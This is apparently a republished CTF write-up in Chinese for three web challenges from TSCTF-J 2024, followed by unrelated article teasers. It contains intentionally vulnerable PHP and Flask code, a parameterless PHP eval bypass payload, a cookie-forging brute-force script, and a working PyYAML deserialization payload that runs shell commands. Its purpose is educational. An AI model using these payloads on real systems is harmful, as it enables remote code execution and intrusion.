TSCTF-J 2024秋部分wp

news/2024/9/23 10:33:04

RCE ME !!!

一道签到,无参数RCE.

<?php
highlight_file(__FILE__);
if(isset($_GET['cmd'])){$cmd= $_GET['cmd'];if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\/|zip:\/\//i', $cmd)) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $cmd)) {if (!preg_match('/pwd|tac|cat|chr|ord|ls|dir|conv|info|hex|bin|rand|array|source|file|cwd|dfined|system|assert|sess/i',$cmd)){@eval($cmd);}else{die("不是,哥们!");}}else{die("真的是这样吗?");}}else{die("是这样的吗?");}
}

实际上看到第二个preg就会意识到考察的是无参数rce,使用payload如下就能打

eval(end(current(get_defined_vars())));&a=phpinfo();

flag放在了环境变量中

alpaca_search

本来是没有这道题的,但是在比赛时发现没有发包题.去年好歹有个十年之约,索性临场搞一个.
后端逻辑如下:

from flask import Flask, request, render_template_string, redirect, url_for, make_response
import random
import yaml
import html
import base64
import io
import sysapp = Flask(__name__)
app.secret_key = 'super_secret_key'# 使用的用户凭证
valid_username = "admin"
valid_password = "guest"# 伪造的flag存储文件
FLAG_PATH = "flag"# 基础页面样式
base_styles = '''<style>body {font-family: Arial, sans-serif;background-color: #f4f4f4;margin: 0;padding: 0;display: flex;justify-content: center;align-items: center;height: 100vh;}.container {background-color: white;border-radius: 10px;box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.1);padding: 20px;max-width: 400px;width: 100%;}h2 {text-align: center;color: #333;}form {display: flex;flex-direction: column;}input[type="text"], input[type="password"], input[type="number"] {padding: 10px;margin: 10px 0;border: 1px solid #ccc;border-radius: 5px;font-size: 16px;}input[type="submit"] {background-color: #5cb85c;color: white;padding: 10px;border: none;border-radius: 5px;cursor: pointer;font-size: 16px;margin-top: 10px;}input[type="submit"]:hover {background-color: #4cae4c;}p {color: #666;font-size: 14px;text-align: center;}.error {color: red;text-align: center;margin-top: 10px;}.rules {font-size: 14px;margin-bottom: 20px;color: #555;}</style>
'''# 登录页面HTML
login_page = '''''' + base_styles + '''<div class="container"><h2>Login</h2><p>Please log in to find the alpaca.</p><form method="POST" action="/login"><input type="text" name="username" placeholder="Username" required><br><input type="password" name="password" placeholder="Password" required><br><input type="submit" value="Login"></form>{% if error %}<p class="error">{{ error }}</p>{% endif %}</div>'''# 猜数字页面HTML
guess_page = '''''' + base_styles + '''<div class="container"><h2>Search the alpaca</h2><div class="rules"><p>Game Rules:</p><ol><li>The goal is to guess the correct hole where alpaca hides between 0 and 99 (inclusive).</li><li>If you guess the correct number 1000 times, you will receive the flag.</li><li>Oh, I do think you can find him</li></ol></div><form method="POST" action="/guess"><input type="number" name="guess" min="0" max="99" placeholder="Enter a number" required><br><input type="submit" value="Submit"></form><p>{{ message }}</p></div>'''# 修正解码前的 Base64 字符串填充
def pad_base64(data):missing_padding = len(data) % 4if (missing_padding):data += '=' * (4 - missing_padding)return data@app.route('/login', methods=['GET', 'POST'])
def login():error = Noneif request.method == 'POST':username = request.form['username']password = request.form['password']if username == valid_username and password == valid_password:user_data = [{'username': username, 'password': password}]serialized_data = yaml.dump(user_data)encoded_data = base64.b64encode(serialized_data.encode()).decode()resp = make_response(redirect(url_for('guess')))resp.set_cookie('session', encoded_data)return respelse:error = "Invalid credentials"return render_template_string(login_page, error=error)@app.route('/guess', methods=['GET', 'POST'])
def guess():session_data = request.cookies.get('session')if not session_data:return redirect(url_for('login'))debug_info = ""try:# 修正解码前的 Base64 字符串session_data = pad_base64(session_data)# 处理 URL 编码后的 Base64 字符串session_data = session_data.replace('-', '+').replace('_', '/')# Base64 解码decoded_data = base64.b64decode(session_data.encode()).decode()# HTML 实体解码unescaped_data = html.unescape(decoded_data)# YAML 反序列化user_info = yaml.load(unescaped_data)  # 使用完整的 Loader# 将反序列化后的结果转换为字符串debug_info += f"\n{user_info}\n"except Exception as e:debug_info = f"Error during session processing: {str(e)}"message = ""if request.method == 'POST':try:guess = int(request.form['guess'])correct_number = random.randint(0, 99)  # 修改随机数范围为0到99if guess == correct_number:if request.cookies.get('counter'):counter = int(request.cookies.get('counter'))else:counter = 0counter += 1if counter >= 1000:with open(FLAG_PATH, 'r') as f:flag = f.read()return flagelse:resp = make_response(render_template_string(guess_page, message=f'Correct! Counter: {counter}\n{debug_info}'))resp.set_cookie('counter', str(counter))return respelse:message = "Incorrect guess. Try again."except ValueError:message = "Invalid input. Please enter a number between 0 and 99."return render_template_string(guess_page, message=message + "\n" + debug_info)# 根路径重定向到登录页面
@app.route('/')
def index():return redirect(url_for('login'))if __name__ == '__main__':app.run(host='0.0.0.0', port=5000)

首先admin和guest弱密码登录.然后去进行游戏.
不难发现在对了一次后包中的cookie存在counter.直接伪造cookie进行发包,写出脚本如下.

import requestsurl = "http://challenges.hazmat.buptmerak.cn:21762/guess"
header = {'Host': 'challenges.hazmat.buptmerak.cn:20761','Cookie': f"session = LSB7cGFzc3dvcmQ6IGd1ZXN0LCB1c2VybmFtZTogYWRtaW59Cg ==;counter = 999"}a = ''
while True:for i in range(0, 100):data = {'guess': f'{i}'}response = requests.post(url, headers=header, data=data)a = response.textif 'Tsctf' in a:breakif 'Tsctf' in a:breakprint(a)

alpaca_search_again

后端代码逻辑如下

from flask import Flask, request, render_template_string, redirect, url_for, make_response
import random
import yaml
import html
import base64
import io
import sysapp = Flask(__name__)
app.secret_key = 'super_secret_key'# 使用的用户凭证
valid_username = "admin"
valid_password = "admin"# 伪造的flag存储文件
FLAG_PATH = "flag"# 基础页面样式
base_styles = '''<style>body {font-family: Arial, sans-serif;background-color: #f4f4f4;margin: 0;padding: 0;display: flex;justify-content: center;align-items: center;height: 100vh;}.container {background-color: white;border-radius: 10px;box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.1);padding: 20px;max-width: 400px;width: 100%;}h2 {text-align: center;color: #333;}form {display: flex;flex-direction: column;}input[type="text"], input[type="password"], input[type="number"] {padding: 10px;margin: 10px 0;border: 1px solid #ccc;border-radius: 5px;font-size: 16px;}input[type="submit"] {background-color: #5cb85c;color: white;padding: 10px;border: none;border-radius: 5px;cursor: pointer;font-size: 16px;margin-top: 10px;}input[type="submit"]:hover {background-color: #4cae4c;}p {color: #666;font-size: 14px;text-align: center;}.error {color: red;text-align: center;margin-top: 10px;}.rules {font-size: 14px;margin-bottom: 20px;color: #555;}</style>
'''# 登录页面HTML
login_page = '''''' + base_styles + '''<div class="container"><h2>Login</h2><p>Please log in to find the alpaca.</p><form method="POST" action="/login"><input type="text" name="username" placeholder="Username" required><br><input type="password" name="password" placeholder="Password" required><br><input type="submit" value="Login"></form>{% if error %}<p class="error">{{ error }}</p>{% endif %}</div>'''# 猜数字页面HTML
guess_page = '''''' + base_styles + '''<div class="container"><h2>Search the alpaca</h2><div class="rules"><p>Game Rules:</p><ol><li>The goal is to guess the correct hole where alpaca hides between 0 and 99 (inclusive).</li><li>If you guess the correct number 1000 times, you will receive the flag.</li><li>Oh, I do think you can find him</li></ol></div><form method="POST" action="/guess"><input type="number" name="guess" min="0" max="99" placeholder="Enter a number" required><br><input type="submit" value="Submit"></form><p>{{ message }}</p></div>'''# 修正解码前的 Base64 字符串填充
def pad_base64(data):missing_padding = len(data) % 4if (missing_padding):data += '=' * (4 - missing_padding)return data@app.route('/login', methods=['GET', 'POST'])
def login():error = Noneif request.method == 'POST':username = request.form['username']password = request.form['password']if username == valid_username and password == valid_password:user_data = [{'username': username, 'password': password}]serialized_data = yaml.dump(user_data)encoded_data = base64.b64encode(serialized_data.encode()).decode()resp = make_response(redirect(url_for('guess')))resp.set_cookie('session', encoded_data)return respelse:error = "Invalid credentials"return render_template_string(login_page, error=error)@app.route('/guess', methods=['GET', 'POST'])
def guess():session_data = request.cookies.get('session')if not session_data:return redirect(url_for('login'))debug_info = ""try:# 修正解码前的 Base64 字符串session_data = pad_base64(session_data)# 处理 URL 编码后的 Base64 字符串session_data = session_data.replace('-', '+').replace('_', '/')# Base64 解码decoded_data = base64.b64decode(session_data.encode()).decode()# HTML 实体解码unescaped_data = html.unescape(decoded_data)# YAML 反序列化user_info = yaml.load(unescaped_data)  # 使用完整的 Loader# 将反序列化后的结果转换为字符串debug_info += f"\n{user_info}\n"except Exception as e:debug_info = f"Error during session processing: {str(e)}"message = ""if request.method == 'POST':try:guess = int(request.form['guess'])message = "Incorrect guess. Try again."except ValueError:message = "Invalid input. Please enter a number between 0 and 99."return render_template_string(guess_page, message=message + "\n" + debug_info)# 根路径重定向到登录页面
@app.route('/')
def index():return redirect(url_for('login'))if __name__ == '__main__':app.run(host='0.0.0.0', port=80)

和alpaca_search相比删除了后端进行回合计数的逻辑.也就说,靠counter去跳过回合不可用了.
我们发现cookie中存在session为LSB7cGFzc3dvcmQ6IGFkbWluLCB1c2VybmFtZTogYWRtaW59Cg==,base64解码如下
image
熟悉的话会发现这是个yaml数据,显然有说法(有时也会触发pyyaml报错)
打pyyaml<5.1版本RCE.
由于需要在web端有回显,所以需要捕获标准输出而不能将其输出在控制台.选用getoutput(或check_output).

!!python/object/apply:subprocess.getoutput ["ls"]

如果你先做alpaca_search_again,后做alpaca_search的话,那么会发现pyyaml两个都会通.然而实际不会有人这么做的🤭🤭🤭
进行base64编码,然后直接放到session中即可执行.
image
读flag的payloadISFweXRob24vb2JqZWN0L2FwcGx5OnN1YnByb2Nlc3MuZ2V0b3V0cHV0IFsiY2F0IGZsYWciXQo=
如果是用check_output则需要构造一下
image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/63673.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

数据库连接失败,请检查数据库服务

当你遇到数据库连接失败的问题时,可以按照以下步骤来检查和解决问题:确认数据库服务状态:检查数据库服务是否正在运行。你可以通过服务管理工具(如Windows的服务管理器或Linux的systemctl命令)来查看数据库服务的状态。 对于特定的数据库系统,也可以使用数据库自带的命令…

网站打不开数据库错误等常见问题解决方法

当遇到网站打不开且出现数据库错误等问题时,可以采取以下步骤进行排查和解决:检查默认页面:如果网站显示“主机开设成功!”或者“恭喜,lanmp安装成功!”这样的信息,这可能是服务器默认放置的页面。检查wwwroot目录下是否有自己的程序文件,如果没有,上传正确的文件,并…

网站数据库错误的原因通常包括配置错误、编码错误、硬件故障、网络问题、数据损坏、权限设置不当、软件更新不兼容、SQL注入攻击等

网站数据库错误可能由多种因素引起,主要包括以下几点:配置错误:数据库或应用程序的配置不当可能导致连接失败或其他运行时错误。 编码错误:程序中的逻辑错误或语法错误也可能导致数据库操作失败。 硬件故障:服务器硬件出现问题,如硬盘损坏、内存故障等,会影响数据库的正…

网站数据库为什么错误呢

当网站数据库出现错误时,可能有多种原因。以下是一些常见的原因及解决方法: 常见原因及解决方法内存限制问题症状:内存耗尽,如“Allowed memory size of 134217728 bytes exhausted”。 解决方法:修改 php.ini 文件中的 memory_limit 配置项。 在 PHP 脚本中使用 ini_set …

为什么数据库查询总是报错

数据库查询总是报错可能有以下几个常见原因:SQL语句错误:语法错误:SQL语句编写不正确,比如缺少分号、括号不匹配等。 表或列不存在:查询中引用了不存在的表名或字段名。 查询条件错误:WHERE子句中的条件表达式错误,比如比较运算符使用不当、值类型不匹配等。数据库连接问…

mac输入法 cpu占用,解决mac使用输入法出现卡顿延迟

1、介绍 网上有各种方法,例如有touchbar的macbook关闭输入建议;定时重启“简体中文输入法”进程;关闭“显示器具有单独的空间” 这些方法网上都能看到,有些人说能解决,有些人说还是卡,我试过了问题依然存在。 网上还有一种思路就是换第三方输入法,一般推荐的都是搜狗输入…

中电金信 :基于开放架构的私有云建设实践

​ 01开放架构私有云诞生背景随着国产化创新建设的深化,产业侧行业软件持续进行云原生改造,金融机构拥抱云和容器技术,实现数智化转型已是大势所趋。近年,云原生技术以及架构发展速度更是惊人,私有云开始有了新架构、有了能解决中小金融机构私有云建设中问题和需求的方法。…

使用Docker或WSL2加速搭建GIS开发环境

Accelerate Your Development Environment with Docker & WSL2 ​​ Welcome to accelerate your development environment with WSL to and darker. Im Kris Daugherty and Im here today with my colleague, Andrew breeding. Were from the GIS solutions and developme…